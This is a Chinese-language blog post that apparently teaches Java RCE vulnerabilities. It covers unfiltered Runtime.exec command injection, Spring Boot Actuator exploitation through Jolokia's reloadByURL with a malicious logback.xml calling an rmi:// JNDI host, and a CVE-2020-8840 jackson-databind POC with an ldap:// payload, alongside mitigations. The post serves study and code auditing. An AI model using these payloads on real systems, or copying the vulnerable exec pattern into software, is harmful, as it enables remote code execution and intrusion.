春眠不覺曉,RCE知多少?

前言

  • 讀者受衆:所有人
  • 閱讀要求:30mins
  • 文章中2620還沒寫完,清水川崎大佬就爆2634了,據說他還藏了很多個0day

在這裏插入圖片描述


RCE

簡單案例分析RCE

在這裏插入圖片描述

   通過Java執行系統命令,與cmd中或者終端上一樣執行shell命令,最典型的用法就是使用Runtime.getRuntime().exec(command)或者new ProcessBuilder(cmdArray).start()。

//漏洞源碼
public String CommandExec(HttpServletRequest request) {
        String cmd = request.getParameter("cmd").toString();
        Runtime run = Runtime.getRuntime();
        String lineStr = "";

        try {
            Process p = run.exec(cmd);
            BufferedInputStream in = new BufferedInputStream(p.getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String tmpStr;

            while ((tmpStr = inBr.readLine()) != null) {
                lineStr += tmpStr + "\n";
                System.out.println(tmpStr);
            }

  漏洞成因分析

Created with Raphaël 2.2.0開始獲取cmd參數值執行命令(過程類似Runtime.getRuntime().exec(command))輸出返回值

   流程圖顯示的代碼執行的過程,不難發現我們沒有看到過濾參數,判斷參數是否輸入正確的一系列操作,從而導致的命令執行漏洞

說明:

  1. process指向一個本地進程,相對於main進程來說,process指向的稱爲子進程。1
  2. BufferedInputStream 是緩衝輸入流,它繼承FilterInputStream類。BufferedInputStream 的作用是爲另一個輸入流添加一些功能,例如,提供“緩衝功能”以及支持“mark()標記”和“reset()重置方法”。BufferedInputStream 本質上是通過一個內部緩衝區數組實現的。例如,在新建某輸入流對應的BufferedInputStream後,當我們通過read()讀取輸入流的數據時,BufferedInputStream會將該輸入流的數據分批的填入到緩衝區中。每當緩衝區中的數據被讀完之後,輸入流會再次填充數據緩衝區;如此反覆,直到我們讀完輸入流數據位置。2

知識內容補充

繼續閱讀下面的內容,你需要補充更多知識。

  1. Java序列化和反序列化
  2. RMI、JRMP、JMX、JNDI
  3. JNDI注入原理

筆者在此,做一個簡單介紹。

  • Java序列化對象因其可以方便的將對象轉換成字節數組,又可以方便快速的將字節數組反序列化成Java對象而被非常頻繁的被用於Socket傳輸。 在RMI(Java遠程方法調用-Java Remote Method Invocation)和JMX(Java管理擴展-Java Management Extensions)服務中對象反序列化機制被強制性使用。在Http請求中也時常會被用到反序列化機制,如:直接接收序列化請求的後端服務、使用Base編碼序列化字節字符串的方式傳遞等。
  • Java RMI用於不同虛擬機之間的通信,這些虛擬機可以在不同的主機上、也可以在同一個主機上;一個虛擬機中的對象調用另一個虛擬上中的對象的方法,只不過是允許被遠程調用的對象要通過一些標誌加以標識。
  • JRMP( Java Remote Method Protocol)協議通信,用於規範遠程方法調用的協議
  • Java命名和目錄接口(Java Naming and Directory Interface,縮寫JNDI),是Java的一個目錄服務應用程序接口(API),它提供一個目錄系統,並將服務名稱與對象關聯起來,從而使得開發人員在開發過程中可以使用名稱來訪問對象。
  • 關於JNDI注入百度有很多文章,推薦深入理解JNDI注入與Java反序列化漏洞利用JNDI注入原理及利用

推薦文章:


Spring Boot Actuators to RCE

   Actuator 是 springboot 提供的用來對應用系統進行自省和監控的功能模塊,藉助於 Actuator 開發者可以很方便地對應用系統某些監控指標進行查看、統計等。在 Actuator 啓用的情況下,如果沒有做好相關權限控制,非法用戶可通過訪問默認的執行器端點(endpoints)來獲取應用系統中的監控信息。

   使用老外提供的源碼,用mvn編譯運行。GitHub項目地址直接訪問http://127.0.0.1:8090/jolokia/list
或者修改ip和端口actuator-testbed\src\main\resources\application.properties

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
   上面的reloadByURL可以加載一個外部URL進而重新加載日誌配置,結果造成了RCE。我們需要構造一個惡意logback.xml的URL。
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/httpserver_ip/logback.xml

//下面是logback.xml內容

<configuration>
  <insertFromJNDI env-entry-name="rmi://artsploit.com:1389/jndi" as="appName" />
</configuration>

rmi和ldap服務都能觸發這個漏洞,筆者在這裏選擇rmi服務。

在這裏插入圖片描述
簡單的觸發流程流程圖:

Created with Raphaël 2.2.0Spring-boot-actuatorJolokiaRMIlogback.xml?RCEyesno

源碼分析

  1. 第一步會先註冊jolokia
    在這裏插入圖片描述
  2. http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/httpserver_ip/logback.xml
    

看上面URL分析reloadByURL很重要,看一下源碼

 public void reloadByURL(URL url) throws JoranException {
        StatusListenerAsList statusListenerAsList = new StatusListenerAsList();

        addStatusListener(statusListenerAsList);
        addInfo("Resetting context: " + loggerContext.getName());
        loggerContext.reset();

        // after a reset the statusListenerAsList gets removed as a listener
        addStatusListener(statusListenerAsList);

        try {
            if (url != null) {
                JoranConfigurator configurator = new JoranConfigurator();
                configurator.setContext(loggerContext);
                configurator.doConfigure(url);
                addInfo("Context: " + loggerContext.getName() + " reloaded.");
            }
        } finally {
            removeStatusListener(statusListenerAsList);
            if (debug) {
                StatusPrinter.print(statusListenerAsList.getStatusList());
            }
        }
    }

不難發現下面三行代碼是關鍵,重置日誌配置。

		addStatusListener(statusListenerAsList);
        addInfo("Resetting context: " + loggerContext.getName());
        loggerContext.reset();

推薦文章

spring boot actuator rce via jolokia
Attack Spring Boot Actuator via jolokia Part 2
關於此漏洞更多的騷操作參考


代碼審計關鍵詞

trace
health
loggers
metrics
autoconfig
heapdump
threaddump
env
info
dump
configprops
mappings
auditevents
beans
jolokia
cloudfoundryapplication
hystrix.stream
actuator
actuator/auditevents
actuator/beans
actuator/health
actuator/conditions
actuator/configprops
actuator/env
actuator/info
actuator/loggers
actuator/heapdump
actuator/threaddump
actuator/metrics
actuator/scheduledtasks
actuator/httptrace
actuator/mappings
actuator/jolokia
actuator/hystrix.stream

防護措施
   在使用Actuator時,不正確的使用或者一些不經意的疏忽,就會造成嚴重的信息泄露等安全隱患。在代碼審計時如果是springboot項目並且遇到actuator依賴,則有必要對安全依賴及配置進行復查。也可作爲一條規則添加到黑盒掃描器中進一步把控。
   安全的做法是一定要引入security依賴,打開安全限制並進行身份驗證。同時設置單獨的Actuator管理端口並配置不對外網開放。
更多防護措施參考SpringBoot應用監控Actuator使用的安全隱患


CVE-2020-8840 FasterXML/jackson-databind 遠程代碼執行漏洞

   FasterXML/jackson-databind是一個用於JSON和對象轉換的Java第三方庫,可將Java對象轉換成json對象和xml文檔,同樣也可將json對象轉換成Java對象。

//漏洞POC
public class Poc {
    public static void main(String args[]) {
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";

        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}

在這裏插入圖片描述


我們查看官方的漏洞源碼提交修復記錄GitHub地址分析。
在這裏插入圖片描述

  • 查看POC ,找到JndiConverter類
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\",{\"asText\":\"ldap://localhost:1389/Exploit\"}]";

在這裏插入圖片描述

  • 查看類的繼承關係,找到AbstractConverter類

在這裏插入圖片描述

  • 找到toObject方法,證據不足,繼續溯源。
public final Object toObject(String text) {
        if (text == null) {
            return null;
        } else {
            Object value = this.toObjectImpl(this.trim ? text.trim() : text);
            return value;
        }
    }
  • 證據充分,此是內奸。重置text內容導致RCE。
public final void setAsText(String text) {
        Object value = this.toObject(this.trim ? text.trim() : text);
        super.setValue(value);
    }

在這裏插入圖片描述


思路整理

Created with Raphaël 2.2.0開始POC字符串JndiConverter->toObjectImpl方法AbstractConverter->setAsText方法RCE?請求ldap://localhost:1389/ExploitSend LDAP reference result for Exploit redirecting to http://localhost:8080/Exploit.classhttp://localhost:8080/Exploit.classRCE結束yesno

修復方式
4. 升級 jackson-databind 至2.9.10.3、2.8.11.5、2.10.x
5. 排查項目中是否使用 xbean-reflect。該次漏洞的核心原因是xbean-reflect 中存在特殊的利用鏈允許用戶觸發 JNDI 遠程類加載操作。將xbean-reflect移除可以緩解漏洞所帶來的影響。


推薦幾個歷史版本RCE

  1. com.threedr3am.bug.fastjson.FastjsonSerialize(TemplatesImpl) 利用條件:fastjson <= 1.2.24 + Feature.SupportNonPublicField
  2. com.threedr3am.bug.fastjson.NoNeedAutoTypePoc 利用條件:fastjson < 1.2.48 不需要任何配置,默認配置通殺RCE
  3. com.threedr3am.bug.fastjson.HikariConfigPoc(HikariConfig) 利用條件:fastjson <= 1.2.59 RCE,需要開啓AutoType
  4. com.threedr3am.bug.fastjson.CommonsProxyPoc(SessionBeanProvider) 利用條件:fastjson <= 1.2.61 RCE,需要開啓AutoType
  5. cas-4.1.x~4.1.6 反序列化漏洞(利用默認密鑰)
  6. cas-4.1.7~4.2.x 反序列化漏洞(需要知道加密key和簽名key)

參考

https://github.com/JoyChou93/java-sec-code/wiki
http://www.jianfensec.com/70.html
https://www.cnblogs.com/tr1ple/p/12348886.html


  1. https://blog.csdn.net/dataiyangu/article/details/83988654 ↩︎

  2. https://www.cnblogs.com/isme-zjh/p/11506495.html
    https://github.com/jas502n/CVE-2020-8840
    https://github.com/fairyming/CVE-2020-8840 ↩︎

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章